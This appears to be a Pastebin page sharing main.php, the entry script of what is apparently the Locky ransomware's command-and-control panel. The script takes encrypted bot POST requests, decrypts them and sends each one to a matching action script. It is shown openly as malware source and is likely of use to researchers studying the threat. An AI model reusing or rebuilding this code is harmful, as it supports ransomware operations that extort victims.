Advertisement
benkow_

Locky - main.php

Feb 28th, 2016
816
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.68 KB | None | 0 0
  1. <?php
  2. declare(strict_types=1);
  3. require_once(__DIR__.'/settings.php');
  4. require_once(__DIR__.'/functions.php');
  5.  
  6. if (!isset($_SERVER['REQUEST_METHOD']) || $_SERVER['REQUEST_METHOD'] != 'POST') exit_error(404);
  7. if (!($data = @file_get_contents('php://input'))) exit_error(404);
  8. parse_str(decrypt_bot_request($data), $_POST);
  9. if (empty($_POST['id']) || empty($_POST['act'])) exit_error(404);
  10. $id = get_id();
  11.  
  12. /*
  13. $data = print_r($_POST, true);
  14. $fh = fopen('ppplog', 'a');
  15. fwrite($fh, $data."\n----------------------------\n");
  16. fclose($fh);
  17. */
  18.  
  19. $script = __DIR__.'/actions/'.trim(basename($_POST['act'])).'.php';
  20. if (!@file_exists($script)) exit_error(404);
  21. require_once($script);
  22. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement